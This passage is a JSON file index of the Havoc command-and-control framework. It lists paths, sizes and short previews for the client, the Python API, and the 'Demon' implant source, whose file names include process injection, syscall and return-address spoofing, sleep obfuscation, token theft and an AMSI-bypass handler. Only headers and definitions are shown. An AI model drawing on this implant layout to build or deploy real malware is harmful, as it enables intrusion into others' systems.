    "preview": "#include <QJsonDocument>\n#include <QJsonArray>\n\n#include <Havoc/DemonCmdDispatch.h>\n\n#include <UserInterface/Widgets/Dem"
  },
  {
    "path": "client/src/Havoc/Demon/CommandSend.cc",
    "chars": 24169,
    "preview": "#include <Havoc/DemonCmdDispatch.h>\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n\n#include <UserInterfac"
  },
  {
    "path": "client/src/Havoc/Demon/Commands.cc",
    "chars": 32994,
    "preview": "#include <Havoc/DemonCmdDispatch.h>\n\n#define BEHAVIOR_PROCESS_INJECTION  \"Process Injection\"\n#define BEHAVIOR_PROCESS_CR"
  },
  {
    "path": "client/src/Havoc/Demon/ConsoleInput.cc",
    "chars": 120118,
    "preview": "#include <global.hpp>\n\n#include <Havoc/DemonCmdDispatch.h>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <"
  },
  {
    "path": "client/src/Havoc/Havoc.cc",
    "chars": 2835,
    "preview": "#include <Havoc/Havoc.hpp>\n#include <Havoc/Connector.hpp>\n#include <Havoc/CmdLine.hpp>\n\n#include <QTimer>\n\nHavocSpace::H"
  },
  {
    "path": "client/src/Havoc/Packager.cc",
    "chars": 42112,
    "preview": "#include <global.hpp>\n\n#include <Havoc/Havoc.hpp>\n#include <Havoc/Packager.hpp>\n#include <Havoc/DemonCmdDispatch.h>\n#inc"
  },
  {
    "path": "client/src/Havoc/PythonApi/Event.cc",
    "chars": 4499,
    "preview": "#include <Python.h>\n#include <structmember.h>\n\n#include <Havoc/PythonApi/Event.h>\n\n// TODO: finish this.\n\nPyMemberDef Py"
  },
  {
    "path": "client/src/Havoc/PythonApi/Havoc.cc",
    "chars": 12297,
    "preview": "#include <global.hpp>\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n#include <QFile>\n\n#include <Havoc/Pyt"
  },
  {
    "path": "client/src/Havoc/PythonApi/HavocUi.cc",
    "chars": 9041,
    "preview": "#include <Havoc/PythonApi/PythonApi.h>\n#include <UserInterface/HavocUI.hpp>\n\n#include <Havoc/PythonApi/UI/PyWidgetClass."
  },
  {
    "path": "client/src/Havoc/PythonApi/PyAgentClass.cc",
    "chars": 6931,
    "preview": "\n#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n#include <structmember.h>\n\n#include <Havoc/PythonApi/PyAgentClass.hpp>\n#in"
  },
  {
    "path": "client/src/Havoc/PythonApi/PyDemonClass.cc",
    "chars": 22468,
    "preview": "\n#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n#include <structmember.h>\n\n#include <Havoc/PythonApi/PythonApi.h>\n#include"
  },
  {
    "path": "client/src/Havoc/PythonApi/PythonApi.cc",
    "chars": 4385,
    "preview": "#include <Havoc/PythonApi/PythonApi.h>\n\nnamespace emb\n{\n    PyObject* Stdout_write(PyObject* self, PyObject* args)\n    {"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyDialogClass.cc",
    "chars": 16464,
    "preview": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#i"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyLoggerClass.cc",
    "chars": 6355,
    "preview": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#i"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyTreeClass.cc",
    "chars": 10226,
    "preview": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#i"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyWidgetClass.cc",
    "chars": 16266,
    "preview": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#i"
  },
  {
    "path": "client/src/Havoc/Service.cc",
    "chars": 69,
    "preview": "#include <Havoc/Service.hpp>\n\nuint64_t DemonMagicValue = 0xdeadbeef;\n"
  },
  {
    "path": "client/src/Main.cc",
    "chars": 532,
    "preview": "#include <global.hpp>\n#include <Havoc/Havoc.hpp>\n#include <QTimer>\n\nauto main(\n    int    argc,\n    char** argv\n) -> int"
  },
  {
    "path": "client/src/UserInterface/Dialogs/About.cc",
    "chars": 2971,
    "preview": "#include <global.hpp>\n#include <UserInterface/Dialogs/About.hpp>\n\nAbout::About( QDialog* dialog )\n{\n    AboutDialog = di"
  },
  {
    "path": "client/src/UserInterface/Dialogs/Connect.cc",
    "chars": 12613,
    "preview": "#include <global.hpp>\n\n#include <Havoc/DBManager/DBManager.hpp>\n#include <Havoc/Connector.hpp>\n#include <Havoc/Havoc.hpp"
  },
  {
    "path": "client/src/UserInterface/Dialogs/Listener.cc",
    "chars": 37848,
    "preview": "#include <global.hpp>\n\n#include <UserInterface/Dialogs/Listener.hpp>\n\n#include <QFile>\n#include <QApplication>\n#include "
  },
  {
    "path": "client/src/UserInterface/Dialogs/Payload.cc",
    "chars": 27706,
    "preview": "#include <global.hpp>\n\n#include <UserInterface/Dialogs/Payload.hpp>\n#include <UserInterface/Dialogs/Listener.hpp>\n#inclu"
  },
  {
    "path": "client/src/UserInterface/HavocUi.cc",
    "chars": 24233,
    "preview": "#include <global.hpp>\n\n// Headers for UserInterface\n#include <Havoc/Havoc.hpp>\n#include <Havoc/PythonApi/PythonApi.h>\n\n#"
  },
  {
    "path": "client/src/UserInterface/SmallWidgets/EventViewer.cc",
    "chars": 967,
    "preview": "#include <UserInterface/SmallWidgets/EventViewer.hpp>\n#include <Util/ColorText.h>\n\nvoid HavocNamespace::UserInterface::S"
  },
  {
    "path": "client/src/UserInterface/Widgets/Chat.cc",
    "chars": 3392,
    "preview": "#include <global.hpp>\n#include <UserInterface/Widgets/Chat.hpp>\n#include <Util/ColorText.h>\n#include <QtCore>\n#include <"
  },
  {
    "path": "client/src/UserInterface/Widgets/DemonInteracted.cc",
    "chars": 9863,
    "preview": "#include <global.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <Util/ColorText.h>\n\n#include <QDate>\n#"
  },
  {
    "path": "client/src/UserInterface/Widgets/FileBrowser.cc",
    "chars": 16770,
    "preview": "#include <global.hpp>\n\n#include <UserInterface/Widgets/FileBrowser.hpp>\n#include <UserInterface/Widgets/DemonInteracted."
  },
  {
    "path": "client/src/UserInterface/Widgets/ListenersTable.cc",
    "chars": 14260,
    "preview": "#include <global.hpp>\n#include <QHeaderView>\n\n#include <UserInterface/Widgets/ListenerTable.hpp>\n#include <UserInterface"
  },
  {
    "path": "client/src/UserInterface/Widgets/LootWidget.cc",
    "chars": 14509,
    "preview": "#include <global.hpp>\n#include <spdlog/spdlog.h>\n\n#include <UserInterface/Widgets/LootWidget.h>\n#include <QGraphicsScene"
  },
  {
    "path": "client/src/UserInterface/Widgets/ProcessList.cc",
    "chars": 15795,
    "preview": "#include <UserInterface/Widgets/ProcessList.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <QClipboard"
  },
  {
    "path": "client/src/UserInterface/Widgets/PythonScript.cc",
    "chars": 2988,
    "preview": "#include <UserInterface/Widgets/PythonScript.hpp>\n#include <Util/ColorText.h>\n#include <QThread>\n#include <thread>\n#incl"
  },
  {
    "path": "client/src/UserInterface/Widgets/ScriptManager.cc",
    "chars": 7641,
    "preview": "#include <UserInterface/Widgets/ScriptManager.h>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n\n#include <Havo"
  },
  {
    "path": "client/src/UserInterface/Widgets/SessionGraph.cc",
    "chars": 32479,
    "preview": "#include <global.hpp>\n\n#include <Havoc/Havoc.hpp>\n\n#include <UserInterface/Widgets/SessionGraph.hpp>\n#include <UserInter"
  },
  {
    "path": "client/src/UserInterface/Widgets/SessionTable.cc",
    "chars": 10144,
    "preview": "#include <Havoc/Havoc.hpp>\n#include <global.hpp>\n\n#include <UserInterface/Widgets/SessionTable.hpp>\n#include <UserInterf"
  },
  {
    "path": "client/src/UserInterface/Widgets/Store.cc",
    "chars": 9066,
    "preview": "#include <UserInterface/Widgets/ScriptManager.h>\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <Havoc"
  },
  {
    "path": "client/src/UserInterface/Widgets/Teamserver.cc",
    "chars": 1073,
    "preview": "#include <UserInterface/Widgets/Teamserver.hpp>\n\n#include <QScrollBar>\n\nvoid Teamserver::setupUi( QWidget* Teamserver )\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/TeamserverTabSession.cc",
    "chars": 22234,
    "preview": "#include <global.hpp>\n\n#include <UserInterface/Widgets/TeamserverTabSession.h>\n#include <UserInterface/Widgets/SessionTa"
  },
  {
    "path": "client/src/Util/Base.cpp",
    "chars": 5695,
    "preview": "#include <Util/Base.hpp>\n\nauto FileRead( const QString& FilePath ) -> QByteArray\n{\n    auto Content = QByteArray( );\n   "
  },
  {
    "path": "client/src/Util/Base64.cpp",
    "chars": 1417,
    "preview": "\n#include <global.hpp>\n\nstatic const std::string base64_chars =\n        \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n        \"abcdefghij"
  },
  {
    "path": "client/src/Util/ColorText.cpp",
    "chars": 7484,
    "preview": "#include <Util/ColorText.h>\n\nQString HavocNamespace::Util::ColorText::Colors::Hex::Background    = \"#282a36\";\nQString Ha"
  },
  {
    "path": "client/src/global.cc",
    "chars": 4593,
    "preview": "#include <global.hpp>\n#include <random>\n\n#include <Havoc/Connector.hpp>\n\n#include <QFileDialog>\n\nusing namespace std;\nus"
  },
  {
    "path": "makefile",
    "chars": 1618,
    "preview": "ifndef VERBOSE\n.SILENT:\nendif\n\n# main build target. compiles the teamserver and client\nall: ts-build client-build\n\n# tea"
  },
  {
    "path": "payloads/Demon/CMakeLists.txt",
    "chars": 2210,
    "preview": "cmake_minimum_required(VERSION 3.19)\nproject( Demon C )\n\nset( PROJECT_NAME Demon )\n\n# set compiler settings\nset( CMAKE_C"
  },
  {
    "path": "payloads/Demon/README.md",
    "chars": 866,
    "preview": "# Havoc Demon Agent\n\nHavoc Demon Agent source code written in C and assembly  \n\n# Directories\n\n## src/asm\nassembly code "
  },
  {
    "path": "payloads/Demon/include/Demon.h",
    "chars": 17223,
    "preview": "#ifndef DEMON_DEMON_H\n#define DEMON_DEMON_H\n\n#include <windows.h>\n#include <winsock2.h>\n#include <ntstatus.h>\n#include <"
  },
  {
    "path": "payloads/Demon/include/common/Clr.h",
    "chars": 20905,
    "preview": "#ifndef DEMON_CLR_H\n#define DEMON_CLR_H\n\n#include <windows.h>\n\n#include <core/Win32.h>\n\nextern GUID xCLSID_CLRMetaHost;\n"
  },
  {
    "path": "payloads/Demon/include/common/Defines.h",
    "chars": 21167,
    "preview": "#ifndef DEMON_STRINGS_H\n#define DEMON_STRINGS_H\n\n#define PROCESS_ARCH_UNKNOWN\t\t\t\t0\n#define PROCESS_ARCH_X86\t\t\t\t\t1\n#defin"
  },
  {
    "path": "payloads/Demon/include/common/Macros.h",
    "chars": 3600,
    "preview": "#ifndef DEMON_MACROS_H\n#define DEMON_MACROS_H\n\n#include <stdio.h>\n\n#ifdef _WIN64\n#define PPEB_PTR __readgsqword( 0x60 )\n"
  },
  {
    "path": "payloads/Demon/include/common/Native.h",
    "chars": 538813,
    "preview": "/*\r\n\tntdll.h\r\n\tUser Mode, 32bit & 64bit version\r\n\tVisual Studio 6.0 - Visual Studio 2010 and MingW compatible\r\n\tIntel C+"
  },
  {
    "path": "payloads/Demon/include/core/CoffeeLdr.h",
    "chars": 3357,
    "preview": "//\n// Created by spider on 18.03.21.\n//\n\n#ifndef DEMON_DOF_H\n#define DEMON_DOF_H\n\n#define SIZE_OF_PAGE 4096\n#define PAGE"
  },
  {
    "path": "payloads/Demon/include/core/Command.h",
    "chars": 6746,
    "preview": "#ifndef DEMON_COMMAND_H\n#define DEMON_COMMAND_H\n\n#include <core/Parser.h>\n\n/* Commands */\n#define DEMON_COMMAND_CHECKIN "
  },
  {
    "path": "payloads/Demon/include/core/Dotnet.h",
    "chars": 120,
    "preview": "#include <common/Clr.h>\n\nBOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments );\nVOID DotnetClose();\nVOID DotnetPush();"
  },
  {
    "path": "payloads/Demon/include/core/Download.h",
    "chars": 2223,
    "preview": "#ifndef DEMON_FILETRANFER_H\n#define DEMON_FILETRANFER_H\n\n#include <windows.h>\n\n#define DOWNLOAD_MODE_OPEN       0x0\n#def"
  },
  {
    "path": "payloads/Demon/include/core/HwBpEngine.h",
    "chars": 974,
    "preview": "#ifndef DEMON_HWBPENGINE_H\n#define DEMON_HWBPENGINE_H\n\n#include <windows.h>\n#include <ntstatus.h>\n\ntypedef struct _BP_LI"
  },
  {
    "path": "payloads/Demon/include/core/HwBpExceptions.h",
    "chars": 3276,
    "preview": "#ifndef DEMON_HWBPEXCEPTIONS_H\n#define DEMON_HWBPEXCEPTIONS_H\n\n#include <windows.h>\n\n#if defined( __x86_64__ ) || define"
  },
  {
    "path": "payloads/Demon/include/core/Jobs.h",
    "chars": 1306,
    "preview": "#ifndef DEMON_JOBS_HPP\n#define DEMON_JOBS_HPP\n\n#include <windows.h>\n\n#define JOB_TYPE_THREAD         0x1\n#define JOB_TYP"
  },
  {
    "path": "payloads/Demon/include/core/Kerberos.h",
    "chars": 6308,
    "preview": "\n#ifndef DEMON_KERBEROS_H\n#define DEMON_KERBEROS_H\n\n//#include <ntsecapi.h>\n\n#define KERBEROS_COMMAND_LUID  0x0\n#define "
  },
  {
    "path": "payloads/Demon/include/core/Memory.h",
    "chars": 1005,
    "preview": "#ifndef DEMON_MEMORY_H\n#define DEMON_MEMORY_H\n\n#include <common/Native.h>\n\ntypedef enum _DX_MEMORY\n{\n    DX_MEM_DEFAULT "
  },
  {
    "path": "payloads/Demon/include/core/MiniStd.h",
    "chars": 1243,
    "preview": "#ifndef DEMON_DSTDIO_H\n#define DEMON_DSTDIO_H\n\n#include <Demon.h>\n\n#define MemCopy         __builtin_memcpy\n#define MemS"
  },
  {
    "path": "payloads/Demon/include/core/ObjectApi.h",
    "chars": 3243,
    "preview": "#ifndef DEMON_OBJECTAPI_H\n#define DEMON_OBJECTAPI_H\n\n#include <windows.h>\n\ntypedef struct\n{\n    UINT_PTR    NameHash;\n  "
  },
  {
    "path": "payloads/Demon/include/core/Package.h",
    "chars": 2054,
    "preview": "#ifndef CALLBACK_PACKAGE_H\n#define CALLBACK_PACKAGE_H\n\n#include <core/Command.h>\n\n#define DEMON_MAX_REQUEST_LENGTH 0x300"
  },
  {
    "path": "payloads/Demon/include/core/Parser.h",
    "chars": 788,
    "preview": "#ifndef DEMON_PARSER_H\n#define DEMON_PARSER_H\n\n#include <windows.h>\n\ntypedef struct {\n    PCHAR   Original;\n    PCHAR   "
  },
  {
    "path": "payloads/Demon/include/core/Pivot.h",
    "chars": 531,
    "preview": "#ifndef DEMON_PIVOT_H\n#define DEMON_PIVOT_H\n\n#include <windows.h>\n\n#define MAX_SMB_PACKETS_PER_LOOP 30\n\ntypedef struct _"
  },
  {
    "path": "payloads/Demon/include/core/Process.h",
    "chars": 76,
    "preview": "#ifndef DEMON_PROCESS_H\n#define DEMON_PROCESS_H\n\n\n\n#endif //DEMON_PROCESS_H\n"
  },
  {
    "path": "payloads/Demon/include/core/Runtime.h",
    "chars": 479,
    "preview": "#ifndef DEMON_RUNTIME_H\n#define DEMON_RUNTIME_H\n\n#include <windows.h>\n\nBOOL RtAdvapi32(\n    VOID\n);\n\nBOOL RtMscoree(\n   "
  },
  {
    "path": "payloads/Demon/include/core/SleepObf.h",
    "chars": 886,
    "preview": "\n#ifndef DEMON_SLEEPOBF_H\n#define DEMON_SLEEPOBF_H\n\n#include <windows.h>\n\n#define SLEEPOBF_NO_OBF  0x0\n#define SLEEPOBF_"
  },
  {
    "path": "payloads/Demon/include/core/Socket.h",
    "chars": 2653,
    "preview": "#include <winsock2.h>\n\n#define SOCKET_TYPE_NONE                 0x0\n#define SOCKET_TYPE_REVERSE_PORTFWD      0x1\n#define"
  },
  {
    "path": "payloads/Demon/include/core/Spoof.h",
    "chars": 2223,
    "preview": "#ifndef DEMON_SPOOF_H\n#define DEMON_SPOOF_H\n\n#include <windows.h>\n\n// NOTE: this code is taken from AceLdr by kyleavery."
  },
  {
    "path": "payloads/Demon/include/core/SysNative.h",
    "chars": 8558,
    "preview": "#ifndef DEMON_SYSNATIVE_H\n#define DEMON_SYSNATIVE_H\n\n#include <common/Native.h>\n#include <core/Spoof.h>\n\n/* define the O"
  },
  {
    "path": "payloads/Demon/include/core/Syscalls.h",
    "chars": 1699,
    "preview": "\n#ifndef DEMON_SYSCALLS_H\n#define DEMON_SYSCALLS_H\n\n#include <windows.h>\n#include <common/Native.h>\n\n/* Syscall function"
  },
  {
    "path": "payloads/Demon/include/core/Thread.h",
    "chars": 1466,
    "preview": "#ifndef DEMON_THREAD_H\n#define DEMON_THREAD_H\n\n#include <common/Native.h>\n#include <core/Win32.h>\n\n/* thread execution m"
  },
  {
    "path": "payloads/Demon/include/core/Token.h",
    "chars": 4393,
    "preview": "#ifndef DEMON_TOKEN_H\n#define DEMON_TOKEN_H\n\n#include <windows.h>\n#include <core/Win32.h>\n\n#define TOKEN_TYPE_STOLEN    "
  },
  {
    "path": "payloads/Demon/include/core/Transport.h",
    "chars": 993,
    "preview": "#ifndef DEMON_INTERNET_H\n#define DEMON_INTERNET_H\n\n#include <core/Package.h>\n#include <core/TransportHttp.h>\n#include <c"
  },
  {
    "path": "payloads/Demon/include/core/TransportHttp.h",
    "chars": 1723,
    "preview": "#ifndef DEMON_TRANSPORTHTTP_H\n#define DEMON_TRANSPORTHTTP_H\n\n#include <core/Win32.h>\n\n#include <windows.h>\n#include <win"
  },
  {
    "path": "payloads/Demon/include/core/TransportSmb.h",
    "chars": 567,
    "preview": "#ifndef DEMON_TRANSPORTSMB_H\n#define DEMON_TRANSPORTSMB_H\n\n#include <core/Win32.h>\n\n#ifdef TRANSPORT_SMB\n\n/* Objects we "
  },
  {
    "path": "payloads/Demon/include/core/Win32.h",
    "chars": 4999,
    "preview": "#ifndef DEMON_WIN32_H\n#define DEMON_WIN32_H\n\n#include <tlhelp32.h>\n#include <winsock2.h>\n#include <mscoree.h>\n#include <"
  },
  {
    "path": "payloads/Demon/include/crypt/AesCrypt.h",
    "chars": 492,
    "preview": "#ifndef _AES_H_\n#define _AES_H_\n\n#include <windows.h>\n\n#define CTR 1\n#define AES256 1\n\n#ifndef CTR\n#define CTR 1\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/inject/Inject.h",
    "chars": 2461,
    "preview": "\n#ifndef DEMON_BASEINJECT_H\n#define DEMON_BASEINJECT_H\n\n#include <Demon.h>\n\n#include <core/Memory.h>\n#include <core/Thre"
  },
  {
    "path": "payloads/Demon/include/inject/InjectUtil.h",
    "chars": 1122,
    "preview": "#ifndef DEMON_INJECTUTIL_H\n#define DEMON_INJECTUTIL_H\n\n#include <windows.h>\n#include <inject/Inject.h>\n\n#define DEREF_32"
  },
  {
    "path": "payloads/Demon/makefile",
    "chars": 79,
    "preview": "MAKEFLAGS \t+= -s\n\nclean:\n\trm -rf cmake-build-debug\n\trm -rf .idea\n\trm -rf Build\n"
  },
  {
    "path": "payloads/Demon/scripts/hash_func.py",
    "chars": 897,
    "preview": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# credit: https://github.com/tigr0w/realoriginal_titanldr-ng/blob/5b883514"
  },
  {
    "path": "payloads/Demon/src/Demon.c",
    "chars": 40333,
    "preview": "#include <Demon.h>\n\n/* Import Common Headers */\n#include <common/Defines.h>\n#include <common/Macros.h>\n\n/* Import Core H"
  },
  {
    "path": "payloads/Demon/src/asm/Spoof.x64.asm",
    "chars": 425,
    "preview": "[BITS 64]\n\nDEFAULT REL\n\nGLOBAL Spoof\n\n[SECTION .text]\nSpoof:\n    pop    r11\n    add    rsp, 8\n    mov    rax, [rsp + 24]"
  },
  {
    "path": "payloads/Demon/src/asm/Spoof.x86.asm",
    "chars": 71,
    "preview": "[BITS 32]\n\nDEFAULT REL\n\nGLOBAL _Spoof\n\n[SECTION .text]\n_Spoof:\n    ret\n"
  },
  {
    "path": "payloads/Demon/src/asm/Syscall.x64.asm",
    "chars": 407,
    "preview": "[bits 64]\n\n; export the functions\nglobal SysSetConfig\nglobal SysInvoke\n\nsection .text\n    SysSetConfig:\n        mov r11,"
  },
  {
    "path": "payloads/Demon/src/asm/Syscall.x86.asm",
    "chars": 673,
    "preview": "[bits 32]\n\n; export the functions\nglobal _SysSetConfig\nglobal _SysInvoke\nglobal _IsWoW64\n\nsection .text\n    _SysSetConfi"
  },
  {
    "path": "payloads/Demon/src/core/CoffeeLdr.c",
    "chars": 29534,
    "preview": "#include <Demon.h>\n#include <common/Macros.h>\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Package.h"
  },
  {
    "path": "payloads/Demon/src/core/Command.c",
    "chars": 120065,
    "preview": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Command.h>\n#include <core/Token.h>\n#include <core/Package"
  },
  {
    "path": "payloads/Demon/src/core/Dotnet.c",
    "chars": 22930,
    "preview": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n#include <core/Dotnet.h>\n#include <core/HwBpExceptions.h>\n#include <core/R"
  },
  {
    "path": "payloads/Demon/src/core/Download.c",
    "chars": 10872,
    "preview": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n\n/* Add file to linked list with type (upload/download) */\nPDOWNLOAD_DATA "
  },
  {
    "path": "payloads/Demon/src/core/HwBpEngine.c",
    "chars": 9546,
    "preview": "#include <Demon.h>\n#include <core/HwBpEngine.h>\n#include <core/HwBpExceptions.h>\n#include <core/SysNative.h>\n#include <c"
  },
  {
    "path": "payloads/Demon/src/core/HwBpExceptions.c",
    "chars": 825,
    "preview": "#include <Demon.h>\n#include <core/HwBpExceptions.h>\n\n#if _WIN64\n\nVOID HwBpExAmsiScanBuffer(\n    _Inout_ PEXCEPTION_POINT"
  },
  {
    "path": "payloads/Demon/src/core/Jobs.c",
    "chars": 12965,
    "preview": "#include <Demon.h>\n\n#include <core/Jobs.h>\n#include <core/Package.h>\n#include <core/MiniStd.h>\n#include <core/ObjectApi."
  },
  {
    "path": "payloads/Demon/src/core/Kerberos.c",
    "chars": 26175,
    "preview": "\n#include <Demon.h>\n#include <core/Kerberos.h>\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Token.h>"
  },
  {
    "path": "payloads/Demon/src/core/Memory.c",
    "chars": 7189,
    "preview": "#include <Demon.h>\n#include <core/Memory.h>\n#include <core/MiniStd.h>\n\n/*!\n * @brief\n *  allocate memory on the heap\n *\n"
  },
  {
    "path": "payloads/Demon/src/core/MiniStd.c",
    "chars": 6089,
    "preview": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n\n/*\n * Most of the functions from here are from VX-Underground https://git"
  },
  {
    "path": "payloads/Demon/src/core/Obf.c",
    "chars": 32628,
    "preview": "#include <Demon.h>\n\n#include <common/Macros.h>\n#include <core/SleepObf.h>\n#include <core/Win32.h>\n#include <core/MiniStd"
  },
  {
    "path": "payloads/Demon/src/core/ObjectApi.c",
    "chars": 24351,
    "preview": "#include <stdio.h>\n#include <stdint.h>\n#include <stdarg.h>\n\n#include <Demon.h>\n#include <common/Defines.h>\n#include <cor"
  },
  {
    "path": "payloads/Demon/src/core/Package.c",
    "chars": 12772,
    "preview": "/* Import Core Headers */\n#include <core/Package.h>\n#include <core/MiniStd.h>\n#include <core/Command.h>\n#include <core/T"
  },
  {
    "path": "payloads/Demon/src/core/Parser.c",
    "chars": 3337,
    "preview": "#include <Demon.h>\n\n#include <core/Parser.h>\n#include <core/MiniStd.h>\n#include <crypt/AesCrypt.h>\n\nVOID ParserNew( PPAR"
  },
  {
    "path": "payloads/Demon/src/core/Pivot.c",
    "chars": 10195,
    "preview": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Parser.h>\n#include <core/MiniStd.h>\n#include <core/Comman"
  },
  {
    "path": "payloads/Demon/src/core/Runtime.c",
    "chars": 22584,
    "preview": "#include <Demon.h>\n#include <core/Runtime.h>\n#include <core/MiniStd.h>\n\n\nBOOL RtAdvapi32(\n    VOID\n) {\n    CHAR ModuleNa"
  },
  {
    "path": "payloads/Demon/src/core/Socket.c",
    "chars": 19909,
    "preview": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n\n/* attempt to receive all the requested data from the socket\n * Took it f"
  },
  {
    "path": "payloads/Demon/src/core/Spoof.c",
    "chars": 1030,
    "preview": "#include <core/Spoof.h>\n#include <core/MiniStd.h>\n\n#if _WIN64\n\nPVOID SpoofRetAddr(\n    _In_    PVOID  Module,\n    _In_  "
  },
  {
    "path": "payloads/Demon/src/core/SysNative.c",
    "chars": 14632,
    "preview": "#include <Demon.h>\n\n#include <core/Syscalls.h>\n#include <core/SysNative.h>\n\nNTSTATUS NTAPI SysNtOpenThread(\n    OUT    P"
  },
  {
    "path": "payloads/Demon/src/core/Syscalls.c",
    "chars": 6934,
    "preview": "#include <Demon.h>\n\n#include <common/Defines.h>\n#include <core/Syscalls.h>\n#include <core/Win32.h>\n\n/*!\n * Initialize sy"
  },
  {
    "path": "payloads/Demon/src/core/Thread.c",
    "chars": 11660,
    "preview": "#include <Demon.h>\n#include <common/Macros.h>\n#include <core/Thread.h>\n#include <core/MiniStd.h>\n#include <core/Memory.h"
  },
  {
    "path": "payloads/Demon/src/core/Token.c",
    "chars": 44730,
    "preview": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Token.h>\n#include <core/Win32.h>\n#include <core/Package.h"
  },
  {
    "path": "payloads/Demon/src/core/Transport.c",
    "chars": 2092,
    "preview": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Package.h>\n#include <core/Transport.h>\n#include <core/Min"
  },
  {
    "path": "payloads/Demon/src/core/TransportHttp.c",
    "chars": 18794,
    "preview": "#include <Demon.h>\n\n#include <core/TransportHttp.h>\n#include <core/MiniStd.h>\n\n#ifdef TRANSPORT_HTTP\n\n/*!\n * @brief\n *  "
  },
  {
    "path": "payloads/Demon/src/core/TransportSmb.c",
    "chars": 9212,
    "preview": "#include <Demon.h>\n\n#include <core/TransportSmb.h>\n#include <core/MiniStd.h>\n\n#ifdef TRANSPORT_SMB\n\nBOOL SmbSend( PBUFFE"
  },
  {
    "path": "payloads/Demon/src/core/Win32.c",
    "chars": 51496,
    "preview": "#include <Demon.h>\n\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Package.h>\n#include <core/Syscalls."
  },
  {
    "path": "payloads/Demon/src/crypt/AesCrypt.c",
    "chars": 7912,
    "preview": "#include <crypt/AesCrypt.h>\n#include <core/MiniStd.h>\n\n#define Nb 4\n\n#if defined(AES256) && (AES256 == 1)\n#define Nk 8\n "
  },
  {
    "path": "payloads/Demon/src/inject/Inject.c",
    "chars": 12895,
    "preview": "#include <Demon.h>\n#include <ntstatus.h>\n\n#include <core/Win32.h>\n#include <core/Package.h>\n#include <core/MiniStd.h>\n#i"
  },
  {
    "path": "payloads/Demon/src/inject/InjectUtil.c",
    "chars": 3452,
    "preview": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n#include <core/Package.h>\n#include <inject/InjectUtil.h>\n#include <common/"
  },
  {
    "path": "payloads/Demon/src/main/MainDll.c",
    "chars": 2124,
    "preview": "#include <Demon.h>\n\n#include <common/Defines.h>\n\n#ifndef SHELLCODE\n/* Export this for rundll32 or any other program that"
  },
  {
    "path": "payloads/Demon/src/main/MainExe.c",
    "chars": 302,
    "preview": "#include <Demon.h>\n\nINT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd )\n{\n"
  },
  {
    "path": "payloads/Demon/src/main/MainSvc.c",
    "chars": 1474,
    "preview": "#include <Demon.h>\n\n/* Service handle and status variable */\nSERVICE_STATUS_HANDLE StatusHandle = { 0 };\nSERVICE_STATUS "
  },
  {
    "path": "payloads/DllLdr/Include/Core.h",
    "chars": 2904,
    "preview": "\n#include <windows.h>\n#include <Macro.h>\n\n#define NTDLL_HASH                      0x70e61753\n\n#define SYS_LDRLOADDLL    "
  },
  {
    "path": "payloads/DllLdr/Include/Macro.h",
    "chars": 489,
    "preview": "\n#include <windows.h>\n\n#define HASH_KEY 5381\n\n#ifdef _WIN64\n    #define PPEB_PTR __readgsqword( 0x60 )\n#else\n    #define"
  },
  {
    "path": "payloads/DllLdr/Include/Native.h",
    "chars": 5097,
    "preview": "\ntypedef struct _myUNICODE_STRING\n{\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR Buffer;\n} myUNICODE_STRING, *PmyUNICOD"
  },
  {
    "path": "payloads/DllLdr/Scripts/extract.py",
    "chars": 1545,
    "preview": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nimport sys\nimport struct\nimport argparse\n\ndef main(options):\n    with ope"
  },
  {
    "path": "payloads/DllLdr/Source/Entry.c",
    "chars": 16103,
    "preview": "#include <Core.h>\n#include <Native.h>\n#include <ntdef.h>\n\nDLLEXPORT VOID KaynLoader( LPVOID lpParameter )\n{\n    INSTANCE"
  },
  {
    "path": "payloads/DllLdr/makefile",
    "chars": 555,
    "preview": "CCX64\t= x86_64-w64-mingw32-gcc\nCCX86\t= i686-w64-mingw32-gcc\n\nINCLUDE = -I Include\nOPTIONS = -w -Wall -Wextra -masm=intel"
  },
  {
    "path": "payloads/Shellcode/Bin/.gitignore",
